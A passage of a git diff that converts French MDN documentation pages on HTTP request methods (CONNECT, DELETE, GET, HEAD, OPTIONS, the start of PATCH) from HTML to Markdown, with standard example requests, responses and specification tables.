href="https://developer.mozilla.org/fr/docs/Web/Guide/HTML/Formulaires">formulaires HTML</a></th> - <td>Non</td> - </tr> - </tbody> + <tbody> + <tr> + <th scope="row">La requête a un corps</th> + <td>Oui</td> + </tr> + <tr> + <th scope="row">Une réponse de succès a un corps</th> + <td>Oui</td> + </tr> + <tr> + <th scope="row">{{Glossary("Sûre")}}</th> + <td>Non</td> + </tr> + <tr> + <th scope="row">{{Glossary("Idempotente")}}</th> + <td>Non</td> + </tr> + <tr> + <th scope="row">{{Glossary("Peut être mise en cache")}}</th> + <td>Non</td> + </tr> + <tr> + <th scope="row"> + Autorisée dans les + <a + href="https://developer.mozilla.org/fr/docs/Web/Guide/HTML/Formulaires" + >formulaires HTML</a + > + </th> + <td>Non</td> + </tr> + </tbody> </table> -<h2 id="Syntaxe">Syntaxe</h2> +## Syntaxe -<pre class="syntaxbox">CONNECT www.example.com:443 HTTP/1.1 -</pre> + CONNECT www.example.com:443 HTTP/1.1 -<h2 id="Exemple">Exemple</h2> +## Exemple -<p>Certains serveurs proxy pourraient avoir besoin d'une autorisation pour créer un tunnel. Voir aussi l'en-tête {{HTTPHeader("Proxy-Authorization")}}.</p> +Certains serveurs proxy pourraient avoir besoin d'une autorisation pour créer un tunnel. Voir aussi l'en-tête {{HTTPHeader("Proxy-Authorization")}}. -<pre>CONNECT server.example.com:80 HTTP/1.1 -Host: server.example.com:80 -Proxy-Authorization: basic aGVsbG86d29ybGQ=</pre> + CONNECT server.example.com:80 HTTP/1.1 + Host: server.example.com:80 + Proxy-Authorization: basic aGVsbG86d29ybGQ= -<h2 id="Spécifications">Spécifications</h2> +## Spécifications -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">Spécification</th> - <th scope="col">Titre</th> - </tr> - <tr> - <td>{{RFC("7231", "CONNECT", "4.3.6")}}</td> - <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> - </tr> - </tbody> -</table> +| Spécification | Titre | +| ------------------------------------------------ | ------------------------------------------------------------- | +| {{RFC("7231", "CONNECT", "4.3.6")}} | Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content | -<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2> +## Compatibilité des navigateurs -<p>{{Compat("http/methods", "CONNECT")}}</p> +{{Compat("http/methods", "CONNECT")}} -<h2 id="Voir_aussi">Voir aussi</h2> +## Voir aussi -<ul> - <li>{{Glossary("Proxy server")}}</li> - <li>{{HTTPHeader("Proxy-Authorization")}}</li> -</ul> +- {{Glossary("Proxy server")}} +- {{HTTPHeader("Proxy-Authorization")}} diff --git a/files/fr/web/http/methods/delete/index.md b/files/fr/web/http/methods/delete/index.md index e18f859a79..c6c87d11ef 100644 --- a/files/fr/web/http/methods/delete/index.md +++ b/files/fr/web/http/methods/delete/index.md @@ -9,86 +9,80 @@ tags: translation_of: Web/HTTP/Methods/DELETE original_slug: Web/HTTP/Méthode/DELETE --- -<div>{{HTTPSidebar}}</div> +{{HTTPSidebar}} -<p>La <strong>méthode HTTP DELETE</strong> supprime la ressource indiquée.</p> +La **méthode HTTP DELETE** supprime la ressource indiquée. <table class="properties"> - <tbody> - <tr> - <th scope="row">La requête a un corps</th> - <td>Non</td> - </tr> - <tr> - <th scope="row">Une réponse de succès a un corps</th> - <td>Non</td> - </tr> - <tr> - <th scope="row">{{Glossary("Sûre")}}</th> - <td>Non</td> - </tr> - <tr> - <th scope="row">{{Glossary("Idempotente")}}</th> - <td>Oui</td> - </tr> - <tr> - <th scope="row">{{Glossary("Peut être mise en cache")}}</th> - <td>Non</td> - </tr> - <tr> - <th scope="row">Autorisée dans les <a href="https://developer.mozilla.org/fr/docs/Web/Guide/HTML/Formulaires">formulaires HTML</a></th> - <td>Non</td> - </tr> - </tbody> + <tbody> + <tr> + <th scope="row">La requête a un corps</th> + <td>Non</td> + </tr> + <tr> + <th scope="row">Une réponse de succès a un corps</th> + <td>Non</td> + </tr> + <tr> + <th scope="row">{{Glossary("Sûre")}}</th> + <td>Non</td> + </tr> + <tr> + <th scope="row">{{Glossary("Idempotente")}}</th> + <td>Oui</td> + </tr> + <tr> + <th scope="row">{{Glossary("Peut être mise en cache")}}</th> + <td>Non</td> + </tr> + <tr> + <th scope="row"> + Autorisée dans les + <a + href="https://developer.mozilla.org/fr/docs/Web/Guide/HTML/Formulaires" + >formulaires HTML</a + > + </th> + <td>Non</td> + </tr> + </tbody> </table> -<h2 id="Syntaxe">Syntaxe</h2> +## Syntaxe -<pre class="syntaxbox">DELETE /file.html HTTP/1.1 -</pre> + DELETE /file.html HTTP/1.1 -<h2 id="Exemple">Exemple</h2> +## Exemple -<h3 id="Requête">Requête</h3> +### Requête -<pre>DELETE /file.html HTTP/1.1</pre> + DELETE /file.html HTTP/1.1 -<h3 id="Réponses">Réponses</h3> +### Réponses -<p>Si une méthode <code>DELETE</code> est appliquée avec succès, il y a plusieurs codes de statut de réponse possibles :</p> +Si une méthode `DELETE` est appliquée avec succès, il y a plusieurs codes de statut de réponse possibles : -<ul> - <li>Un code de statut {{HTTPStatus("202")}} (<code>Accepted</code>) si l'action est en passe de réussir mais n'a pas encore été confirmée.</li> - <li>Un code de statut {{HTTPStatus("204")}} (<code>No Content</code>) si l'action a été confirmée et qu'aucune information supplémentaire n'est à fournir.</li> - <li>Un code de statut {{HTTPStatus("200")}} (<code>OK</code>) si l'action a été confirmée et que le message de réponse inclut une représentation décrivant le statut.</li> -</ul> +- Un code de statut {{HTTPStatus("202")}} (`Accepted`) si l'action est en passe de réussir mais n'a pas encore été confirmée. +- Un code de statut {{HTTPStatus("204")}} (`No Content`) si l'action a été confirmée et qu'aucune information supplémentaire n'est à fournir. +- Un code de statut {{HTTPStatus("200")}} (`OK`) si l'action a été confirmée et que le message de réponse inclut une représentation décrivant le statut. -<pre>HTTP/1.1 200 OK -Date: Wed, 21 Oct 2015 07:28:00 GMT +<!----> -<html> - <body> - <h1>File deleted.</h1> - </body> -</html></pre> + HTTP/1.1 200 OK + Date: Wed, 21 Oct 2015 07:28:00 GMT -<h2 id="Spécifications">Spécifications</h2> + <html> + <body> + <h1>File deleted.</h1> + </body> + </html> -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">Spécification</th> - <th scope="col">Titre</th> - </tr> - <tr> - <td>{{RFC("7231", "DELETE", "4.3.5")}}</td> - <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> - </tr> - </tbody> -</table> +## Spécifications + +| Spécification | Titre | +| -------------------------------------------- | ------------------------------------------------------------- | +| {{RFC("7231", "DELETE", "4.3.5")}} | Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content | -<h2 id="Voir_aussi">Voir aussi</h2> +## Voir aussi -<ul> - <li>HTTP status: {{HTTPStatus("200")}}, {{HTTPStatus("202")}}, {{HTTPStatus("204")}}</li> -</ul> +- HTTP status: {{HTTPStatus("200")}}, {{HTTPStatus("202")}}, {{HTTPStatus("204")}} diff --git a/files/fr/web/http/methods/get/index.md b/files/fr/web/http/methods/get/index.md index cb39182435..d3ecf1b1f4 100644 --- a/files/fr/web/http/methods/get/index.md +++ b/files/fr/web/http/methods/get/index.md @@ -8,65 +8,55 @@ tags: translation_of: Web/HTTP/Methods/GET original_slug: Web/HTTP/Méthode/GET --- -<div>{{HTTPSidebar}}</div> +{{HTTPSidebar}} -<p>La <strong>méthode HTTP GET</strong> demande une représentation de la ressource spécifiée. Les requêtes GET doivent uniquement être utilisées afin de récupérer des données.</p> +La **méthode HTTP GET** demande une représentation de la ressource spécifiée. Les requêtes GET doivent uniquement être utilisées afin de récupérer des données. <table class="properties"> - <tbody> - <tr> - <th scope="row">La requête a un corps</th> - <td>Non</td> - </tr> - <tr> - <th scope="row">Une réponse de succès a un corps</th> - <td>Oui</td> - </tr> - <tr> - <th scope="row">{{Glossary("Safe","Sûre")}}</th> - <td>Oui</td> - </tr> - <tr> - <th scope="row">{{Glossary("Idempotent","Idempotente")}}</th> - <td>Oui</td> - </tr> - <tr> - <th scope="row">{{Glossary("Cacheable","Peut être mise en cache")}}</th> - <td>Oui</td> - </tr> - <tr> - <th scope="row">Autorisée dans les formulaires HTML</th> - <td>Oui</td> - </tr> - </tbody> + <tbody> + <tr> + <th scope="row">La requête a un corps</th> + <td>Non</td> + </tr> + <tr> + <th scope="row">Une réponse de succès a un corps</th> + <td>Oui</td> + </tr> + <tr> + <th scope="row">{{Glossary("Safe","Sûre")}}</th> + <td>Oui</td> + </tr> + <tr> + <th scope="row">{{Glossary("Idempotent","Idempotente")}}</th> + <td>Oui</td> + </tr> + <tr> + <th scope="row"> + {{Glossary("Cacheable","Peut être mise en cache")}} + </th> + <td>Oui</td> + </tr> + <tr> + <th scope="row">Autorisée dans les formulaires HTML</th> + <td>Oui</td> + </tr> + </tbody> </table> -<h2 id="Syntaxe">Syntaxe</h2> +## Syntaxe -<pre class="syntaxbox">GET /index.html -</pre> + GET /index.html -<h2 id="Spécifications">Spécifications</h2> +## Spécifications -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">Spécification</th> - <th scope="col">Titre</th> - </tr> - <tr> - <td>{{RFC("7231", "GET", "4.3.1")}}</td> - <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> - </tr> - </tbody> -</table> +| Spécification | Titre | +| ---------------------------------------- | ------------------------------------------------------------- | +| {{RFC("7231", "GET", "4.3.1")}} | Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content | -<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2> +## Compatibilité des navigateurs -<p>{{Compat("http/methods", "GET")}}</p> +{{Compat("http/methods", "GET")}} -<h2 id="Voir_aussi">Voir aussi</h2> +## Voir aussi -<ul> - <li>{{HTTPHeader("Range")}}</li> -</ul> +- {{HTTPHeader("Range")}} diff --git a/files/fr/web/http/methods/head/index.md b/files/fr/web/http/methods/head/index.md index 5791f0e384..6a46b1424e 100644 --- a/files/fr/web/http/methods/head/index.md +++ b/files/fr/web/http/methods/head/index.md @@ -8,69 +8,63 @@ tags: translation_of: Web/HTTP/Methods/HEAD original_slug: Web/HTTP/Méthode/HEAD --- -<div>{{HTTPSidebar}}</div> +{{HTTPSidebar}} -<p>La <strong>méthode HTTP <code>HEAD</code></strong> demande les en-têtes qui seraient retournés si la ressource spécifiée était demandée avec une méthode HTTP {{HTTPMethod("GET")}}. Une telle requête peut être envoyée avant de procéder au téléchargement d'une ressource volumineuse, par exemple pour économiser de la bande passante.</p> +La **méthode HTTP `HEAD`** demande les en-têtes qui seraient retournés si la ressource spécifiée était demandée avec une méthode HTTP {{HTTPMethod("GET")}}. Une telle requête peut être envoyée avant de procéder au téléchargement d'une ressource volumineuse, par exemple pour économiser de la bande passante. -<p>Une réponse issue d'une requête <code>HEAD</code> ne doit pas avoir de corps. Si tel est le cas, elle doit être ignorée. Toutefois, les {{glossary("En-têtes d'entité", "en-têtes d'entité")}} décrivant le contenu du corps, comme {{HTTPHeader("Content-Length")}}, peuvent être inclus dans la réponse. Ils ne sont pas liés au corps de la réponse <code>HEAD</code> , qui doit être vide, mais au corps d'une réponse issue d'une requête similaire utilisant la méthode {{HTTPMethod("GET")}}.</p> +Une réponse issue d'une requête `HEAD` ne doit pas avoir de corps. Si tel est le cas, elle doit être ignorée. Toutefois, les {{glossary("En-têtes d'entité", "en-têtes d'entité")}} décrivant le contenu du corps, comme {{HTTPHeader("Content-Length")}}, peuvent être inclus dans la réponse. Ils ne sont pas liés au corps de la réponse `HEAD` , qui doit être vide, mais au corps d'une réponse issue d'une requête similaire utilisant la méthode {{HTTPMethod("GET")}}. -<p>Si le résultat d'une requête <code>HEAD</code> montre qu'une ressource mise en cache après une requête {{HTTPMethod("GET")}} est désormais dépassée, le cache est invalidé, même si aucune requête GET n'a été émise.</p> +Si le résultat d'une requête `HEAD` montre qu'une ressource mise en cache après une requête {{HTTPMethod("GET")}} est désormais dépassée, le cache est invalidé, même si aucune requête GET n'a été émise. <table class="properties"> - <tbody> - <tr> - <th scope="row">La requête a un corps</th> - <td>Non</td> - </tr> - <tr> - <th scope="row">Une réponse de succès a un corps</th> - <td>Non</td> - </tr> - <tr> - <th scope="row">{{Glossary("Sûre")}}</th> - <td>Oui</td> - </tr> - <tr> - <th scope="row">{{Glossary("Idempotente")}}</th> - <td>Oui</td> - </tr> - <tr> - <th scope="row">{{Glossary("Peut être mise en cache")}}</th> - <td>Oui</td> - </tr> - <tr> - <th scope="row">Autorisée dans les <a href="https://developer.mozilla.org/fr/docs/Web/Guide/HTML/Formulaires">formulaires HTML</a></th> - <td>Non</td> - </tr> - </tbody> + <tbody> + <tr> + <th scope="row">La requête a un corps</th> + <td>Non</td> + </tr> + <tr> + <th scope="row">Une réponse de succès a un corps</th> + <td>Non</td> + </tr> + <tr> + <th scope="row">{{Glossary("Sûre")}}</th> + <td>Oui</td> + </tr> + <tr> + <th scope="row">{{Glossary("Idempotente")}}</th> + <td>Oui</td> + </tr> + <tr> + <th scope="row">{{Glossary("Peut être mise en cache")}}</th> + <td>Oui</td> + </tr> + <tr> + <th scope="row"> + Autorisée dans les + <a + href="https://developer.mozilla.org/fr/docs/Web/Guide/HTML/Formulaires" + >formulaires HTML</a + > + </th> + <td>Non</td> + </tr> + </tbody> </table> -<h2 id="Syntaxe">Syntaxe</h2> +## Syntaxe -<pre class="syntaxbox">HEAD /index.html -</pre> + HEAD /index.html -<h2 id="Spécifications">Spécifications</h2> +## Spécifications -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">Spécification</th> - <th scope="col">Titre</th> - </tr> - <tr> - <td>{{RFC("7231", "HEAD", "4.3.2")}}</td> - <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> - </tr> - </tbody> -</table> +| Spécification | Titre | +| -------------------------------------------- | ------------------------------------------------------------- | +| {{RFC("7231", "HEAD", "4.3.2")}} | Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content | -<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2> +## Compatibilité des navigateurs -<p>{{Compat("http/methods", "HEAD")}}</p> +{{Compat("http/methods", "HEAD")}} -<h2 id="Voir_aussi">Voir aussi</h2> +## Voir aussi -<ul> - <li>{{HTTPMethod("GET")}}</li> -</ul> +- {{HTTPMethod("GET")}} diff --git a/files/fr/web/http/methods/index.md b/files/fr/web/http/methods/index.md index 75106edae9..1b64896254 100644 --- a/files/fr/web/http/methods/index.md +++ b/files/fr/web/http/methods/index.md @@ -8,65 +8,40 @@ tags: translation_of: Web/HTTP/Methods original_slug: Web/HTTP/Méthode --- -<div>{{HTTPSidebar}}</div> - -<p>HTTP définit un ensemble de <strong>méthodes de requête</strong> qui indiquent l'action que l'on souhaite réaliser sur la ressource indiquée. Bien qu'on rencontre également des noms (en anglais), ces méthodes sont souvent appelées <em>verbes HTTP</em>. Chacun d'eux implémente une sémantique différente mais certaines fonctionnalités courantes peuvent être partagées par différentes méthodes (e.g. une méthode de requête peut être sûre (<em>safe</em>), idempotente ou être mise en cache (<em>cacheable</em>)).</p> - -<dl> - <dt><code><a href="/fr/docs/Web/HTTP/Méthode/GET">GET</a></code></dt> - <dd>La méthode GET demande une représentation de la ressource spécifiée. Les requêtes GET doivent uniquement être utilisées afin de récupérer des données.</dd> - <dt><code><a href="/fr/docs/Web/HTTP/Méthode/HEAD">HEAD</a></code></dt> - <dd>La méthode <code>HEAD</code> demande une réponse identique à une requête GET pour laquelle on aura omis le corps de la réponse (on a uniquement l'en-tête).</dd> - <dt><code><a href="/fr/docs/Web/HTTP/Méthode/POST">POST</a></code></dt> - <dd>La méthode <code>POST</code> est utilisée pour envoyer une entité vers la ressource indiquée. Cela entraîne généralement un changement d'état ou des effets de bord sur le serveur.</dd> - <dt><code><a href="/fr/docs/Web/HTTP/Méthode/PUT">PUT</a></code></dt> - <dd> - <p>La méthode <code>PUT</code> remplace toutes les représentations actuelles de la ressource visée par le contenu de la requête.</p> - </dd> - <dt><code><a href="/fr/docs/Web/HTTP/Méthode/DELETE">DELETE</a></code></dt> - <dd>La méthode <code>DELETE</code> supprime la ressource indiquée.</dd> - <dt><code><a href="/fr/docs/Web/HTTP/Méthode/CONNECT">CONNECT</a></code></dt> - <dd> - <p>La méthode <code>CONNECT</code> établit un tunnel vers le serveur identifié par la ressource cible.</p> - </dd> - <dt><code><a href="/fr/docs/Web/HTTP/Méthode/OPTIONS">OPTIONS</a></code></dt> - <dd>La méthode <code>OPTIONS</code> est utilisée pour décrire les options de communications avec la ressource visée.</dd> - <dt><code><a href="/fr/docs/Web/HTTP/Méthode/TRACE">TRACE</a></code></dt> - <dd> - <p>La méthode <code>TRACE</code> réalise un message de test aller/retour en suivant le chemin de la ressource visée.</p> - </dd> - <dt><code><a href="/fr/docs/Web/HTTP/Méthode/PATCH">PATCH</a></code></dt> - <dd>La méthode <code>PATCH</code> est utilisée pour appliquer des modifications partielles à une ressource.</dd> -</dl> - -<h2 id="Spécifications">Spécifications</h2> - -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">Spécification</th> - <th scope="col">Titre</th> - <th scope="col">Commentaires</th> - </tr> - <tr> - <td>{{RFC("7231", "Request methods", "4")}}</td> - <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> - <td>Définition de GET, HEAD, POST, PUT, DELETE, CONNECT, OPTIONS et TRACE.</td> - </tr> - <tr> - <td>{{RFC("5789", "Patch method", "2")}}</td> - <td>PATCH Method for HTTP</td> - <td>Définition de PATCH.</td> - </tr> - </tbody> -</table> - -<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2> - -<p>{{Compat("http/methods")}}</p> - -<h2 id="Voir_aussi">Voir aussi</h2> - -<ul> - <li><a href="/fr/docs/HTTP/Headers">Les en-têtes (<em>headers</em>) HTTP</a></li> -</ul> +{{HTTPSidebar}} + +HTTP définit un ensemble de **méthodes de requête** qui indiquent l'action que l'on souhaite réaliser sur la ressource indiquée. Bien qu'on rencontre également des noms (en anglais), ces méthodes sont souvent appelées _verbes HTTP_. Chacun d'eux implémente une sémantique différente mais certaines fonctionnalités courantes peuvent être partagées par différentes méthodes (e.g. une méthode de requête peut être sûre (_safe_), idempotente ou être mise en cache (_cacheable_)). + +- [`GET`](/fr/docs/Web/HTTP/Méthode/GET) + - : La méthode GET demande une représentation de la ressource spécifiée. Les requêtes GET doivent uniquement être utilisées afin de récupérer des données. +- [`HEAD`](/fr/docs/Web/HTTP/Méthode/HEAD) + - : La méthode `HEAD` demande une réponse identique à une requête GET pour laquelle on aura omis le corps de la réponse (on a uniquement l'en-tête). +- [`POST`](/fr/docs/Web/HTTP/Méthode/POST) + - : La méthode `POST` est utilisée pour envoyer une entité vers la ressource indiquée. Cela entraîne généralement un changement d'état ou des effets de bord sur le serveur. +- [`PUT`](/fr/docs/Web/HTTP/Méthode/PUT) + - : La méthode `PUT` remplace toutes les représentations actuelles de la ressource visée par le contenu de la requête. +- [`DELETE`](/fr/docs/Web/HTTP/Méthode/DELETE) + - : La méthode `DELETE` supprime la ressource indiquée. +- [`CONNECT`](/fr/docs/Web/HTTP/Méthode/CONNECT) + - : La méthode `CONNECT` établit un tunnel vers le serveur identifié par la ressource cible. +- [`OPTIONS`](/fr/docs/Web/HTTP/Méthode/OPTIONS) + - : La méthode `OPTIONS` est utilisée pour décrire les options de communications avec la ressource visée. +- [`TRACE`](/fr/docs/Web/HTTP/Méthode/TRACE) + - : La méthode `TRACE` réalise un message de test aller/retour en suivant le chemin de la ressource visée. +- [`PATCH`](/fr/docs/Web/HTTP/Méthode/PATCH) + - : La méthode `PATCH` est utilisée pour appliquer des modifications partielles à une ressource. + +## Spécifications + +| Spécification | Titre | Commentaires | +| ---------------------------------------------------- | ------------------------------------------------------------- | ---------------------------------------------------------------------- | +| {{RFC("7231", "Request methods", "4")}} | Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content | Définition de GET, HEAD, POST, PUT, DELETE, CONNECT, OPTIONS et TRACE. | +| {{RFC("5789", "Patch method", "2")}} | PATCH Method for HTTP | Définition de PATCH. | + +## Compatibilité des navigateurs + +{{Compat("http/methods")}} + +## Voir aussi + +- [Les en-têtes (_headers_) HTTP](/fr/docs/HTTP/Headers) diff --git a/files/fr/web/http/methods/options/index.md b/files/fr/web/http/methods/options/index.md index e38353af22..842dd3ceae 100644 --- a/files/fr/web/http/methods/options/index.md +++ b/files/fr/web/http/methods/options/index.md @@ -4,120 +4,113 @@ slug: Web/HTTP/Methods/OPTIONS translation_of: Web/HTTP/Methods/OPTIONS original_slug: Web/HTTP/Méthode/OPTIONS --- -<div>{{HTTPSidebar}}</div> +{{HTTPSidebar}} -<p>La <strong>méthode HTTP <code>OPTIONS</code></strong> est utilisée pour décrire les options de communication pour la ressource ciblée. Le client peut renseigner une URL spécifique pour la méthode OPTIONS, ou une astérisque (*) pour interroger le serveur dans sa globalité.</p> +La **méthode HTTP `OPTIONS`** est utilisée pour décrire les options de communication pour la ressource ciblée. Le client peut renseigner une URL spécifique pour la méthode OPTIONS, ou une astérisque (\*) pour interroger le serveur dans sa globalité. <table class="properties"> - <tbody> - <tr> - <th scope="row">La requête a un corps</th> - <td>Non</td> - </tr> - <tr> - <th scope="row">Une réponse de succès a un corps</th> - <td>Oui</td> - </tr> - <tr> - <th scope="row">{{Glossary("Sûre")}}</th> - <td>Oui</td> - </tr> - <tr> - <th scope="row">{{Glossary("Idempotente")}}</th> - <td>Oui</td> - </tr> - <tr> - <th scope="row">{{Glossary("Peut être mise en cache")}}</th> - <td>Non</td> - </tr> - <tr> - <th scope="row">Autorisée dans les <a href="https://developer.mozilla.org/fr/docs/Web/Guide/HTML/Formulaires">formulaires HTML</a></th> - <td>Non</td> - </tr> - </tbody> + <tbody> + <tr> + <th scope="row">La requête a un corps</th> + <td>Non</td> + </tr> + <tr> + <th scope="row">Une réponse de succès a un corps</th> + <td>Oui</td> + </tr> + <tr> + <th scope="row">{{Glossary("Sûre")}}</th> + <td>Oui</td> + </tr> + <tr> + <th scope="row">{{Glossary("Idempotente")}}</th> + <td>Oui</td> + </tr> + <tr> + <th scope="row">{{Glossary("Peut être mise en cache")}}</th> + <td>Non</td> + </tr> + <tr> + <th scope="row"> + Autorisée dans les + <a + href="https://developer.mozilla.org/fr/docs/Web/Guide/HTML/Formulaires" + >formulaires HTML</a + > + </th> + <td>Non</td> + </tr> + </tbody> </table> -<p> </p> - -<h2 id="Syntaxe">Syntaxe</h2> - -<pre class="syntaxbox">OPTIONS /index.html HTTP/1.1 -OPTIONS * HTTP/1.1 -</pre> - -<h2 id="Examples">Examples</h2> - -<h3 id="Identifier_les_méthodes_HTTP_autorisées">Identifier les méthodes HTTP autorisées</h3> - -<p>Pour déterminer les méthodes HTTP supportées par le serveur, on peut utiliser curl et envoyer une requête OPTIONS :</p> - -<pre>curl -X OPTIONS http://example.org -i</pre> - -<p>La réponse contient un en-tête {{HTTPHeader("Allow")}} qui liste les méthodes autorisées :</p> - -<pre>HTTP/1.1 200 OK -Allow: OPTIONS, GET, HEAD, POST -Cache-Control: max-age=604800 -Date: Thu, 13 Oct 2016 11:45:00 GMT -Expires: Thu, 20 Oct 2016 11:45:00 GMT -Server: EOS (lax004/2813) -x-ec-custom-error: 1 -Content-Length: 0 -</pre> - -<h3 id="Requête_de_pré-vérification_cross-origin_CORS">Requête de pré-vérification cross-origin <a href="https://developer.mozilla.org/fr/docs/Glossaire/CORS">CORS</a></h3> - -<p>En <a href="/en-US/docs/Web/HTTP/Access_control_CORS">CORS</a>, une requête de pré-vérification est envoyée avec la méthode <code>OPTIONS</code> afin que le serveur indique si la requête est acceptable avec les paramètres spécifiés. En tant qu'élément de la requête de pré-vérification, le header {{HTTPHeader("Access-Control-Request-Method")}} notifie le serveur que lorsque la véritable requête sera envoyée, ce sera avec une méthode <code>POST</code>. Le header {{HTTPHeader("Access-Control-Request-Headers")}} indique au serveur que lorsque la vraie requête sera envoyée, elle aura les en-tête personnalisés <code>X-PINGOTHER</code> et <code>Content-Type</code>. Le serveur a maintenant la possibilité de déterminer s'il souhaite ou non accepter la requête dans les conditions énoncées par la requête de pré-vérification.</p> - -<pre>OPTIONS /resources/post-here/ HTTP/1.1 -Host: bar.other -Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 -Accept-Language: en-us,en;q=0.5 -Accept-Encoding: gzip,deflate -Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 -Connection: keep-alive -Origin: http://foo.example -Access-Control-Request-Method: POST -Access-Control-Request-Headers: X-PINGOTHER, Content-Type</pre> - -<p>Dans la réponse du serveur, l'en-tête {{HTTPHeader("Access-Control-Allow-Methods")}} indique que les méthodes <code>POST</code>, <code>GET</code>, and <code>OPTIONS</code> sont utilisables pour interroger la ressource. Cet en-tête est similaire à {{HTTPHeader("Allow")}}, mais utilisé uniquement dans le contexte CORS.</p> - -<pre>HTTP/1.1 200 OK -Date: Mon, 01 Dec 2008 01:15:39 GMT -Server: Apache/2.0.61 (Unix) -Access-Control-Allow-Origin: http://foo.example -Access-Control-Allow-Methods: POST, GET, OPTIONS -Access-Control-Allow-Headers: X-PINGOTHER, Content-Type -Access-Control-Max-Age: 86400 -Vary: Accept-Encoding, Origin -Content-Encoding: gzip -Content-Length: 0 -Keep-Alive: timeout=2, max=100 -Connection: Keep-Alive -Content-Type: text/plain</pre> - -<h2 id="Spécifications">Spécifications</h2> - -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">Specification</th> - <th scope="col">Title</th> - </tr> - <tr> - <td>{{RFC("7231", "OPTIONS", "4.3.7")}}</td> - <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> - </tr> - </tbody> -</table> -<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2> -<p>{{Compat("http.methods.OPTIONS")}}</p> +## Syntaxe + + OPTIONS /index.html HTTP/1.1 + OPTIONS * HTTP/1.1 + +## Examples + +### Identifier les méthodes HTTP autorisées + +Pour déterminer les méthodes HTTP supportées par le serveur, on peut utiliser curl et envoyer une requête OPTIONS : + + curl -X OPTIONS http://example.org -i + +La réponse contient un en-tête {{HTTPHeader("Allow")}} qui liste les méthodes autorisées : + + HTTP/1.1 200 OK + Allow: OPTIONS, GET, HEAD, POST + Cache-Control: max-age=604800 + Date: Thu, 13 Oct 2016 11:45:00 GMT + Expires: Thu, 20 Oct 2016 11:45:00 GMT + Server: EOS (lax004/2813) + x-ec-custom-error: 1 + Content-Length: 0 + +### Requête de pré-vérification cross-origin [CORS](https://developer.mozilla.org/fr/docs/Glossaire/CORS) + +En [CORS](/en-US/docs/Web/HTTP/Access_control_CORS), une requête de pré-vérification est envoyée avec la méthode `OPTIONS` afin que le serveur indique si la requête est acceptable avec les paramètres spécifiés. En tant qu'élément de la requête de pré-vérification, le header {{HTTPHeader("Access-Control-Request-Method")}} notifie le serveur que lorsque la véritable requête sera envoyée, ce sera avec une méthode `POST`. Le header {{HTTPHeader("Access-Control-Request-Headers")}} indique au serveur que lorsque la vraie requête sera envoyée, elle aura les en-tête personnalisés `X-PINGOTHER` et `Content-Type`. Le serveur a maintenant la possibilité de déterminer s'il souhaite ou non accepter la requête dans les conditions énoncées par la requête de pré-vérification. + + OPTIONS /resources/post-here/ HTTP/1.1 + Host: bar.other + Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 + Accept-Language: en-us,en;q=0.5 + Accept-Encoding: gzip,deflate + Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 + Connection: keep-alive + Origin: http://foo.example + Access-Control-Request-Method: POST + Access-Control-Request-Headers: X-PINGOTHER, Content-Type + +Dans la réponse du serveur, l'en-tête {{HTTPHeader("Access-Control-Allow-Methods")}} indique que les méthodes `POST`, `GET`, and `OPTIONS` sont utilisables pour interroger la ressource. Cet en-tête est similaire à {{HTTPHeader("Allow")}}, mais utilisé uniquement dans le contexte CORS. + + HTTP/1.1 200 OK + Date: Mon, 01 Dec 2008 01:15:39 GMT + Server: Apache/2.0.61 (Unix) + Access-Control-Allow-Origin: http://foo.example + Access-Control-Allow-Methods: POST, GET, OPTIONS + Access-Control-Allow-Headers: X-PINGOTHER, Content-Type + Access-Control-Max-Age: 86400 + Vary: Accept-Encoding, Origin + Content-Encoding: gzip + Content-Length: 0 + Keep-Alive: timeout=2, max=100 + Connection: Keep-Alive + Content-Type: text/plain + +## Spécifications + +| Specification | Title | +| ------------------------------------------------ | ------------------------------------------------------------- | +| {{RFC("7231", "OPTIONS", "4.3.7")}} | Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content | + +## Compatibilité des navigateurs + +{{Compat("http.methods.OPTIONS")}} -<h2 id="Voir_aussi">Voir aussi</h2> +## Voir aussi -<ul> - <li>en-tête {{HTTPHeader("Allow")}}</li> - <li><a href="/en-US/docs/Web/HTTP/Access_control_CORS">CORS</a></li> -</ul> +- en-tête {{HTTPHeader("Allow")}} +- [CORS](/en-US/docs/Web/HTTP/Access_control_CORS) diff --git a/files/fr/web/http/methods/patch/index.md b/files/fr/web/http/methods/patch/index.md index 79eb5d483d..8474dc8b80 100644 --- a/files/fr/web/http/methods/patch/index.md +++ b/files/fr/web/http/methods/patch/index.md @@ -4,87 +4,81 @@ slug: Web/HTTP/Methods/PATCH translation_of: Web/HTTP/Methods/PATCH original_slug: Web/HTTP/Méthode/PATCH --- -<p>La <strong>méthode <code>PATCH</code> d'une requête HTTP</strong> applique des modifications partielles à une ressource.</p> +La **méthode `PATCH` d'une requête HTTP** applique des modifications partielles à une ressource. -<p>La méthode HTTP {{HTTPMethod("PUT")}} est déjà définie pour écraser une ressource avec un nouveau corps complet de message, et pour la méthode HTTP {{HTTPMethod("POST")}}, il n'existe aucun moyen standard pour 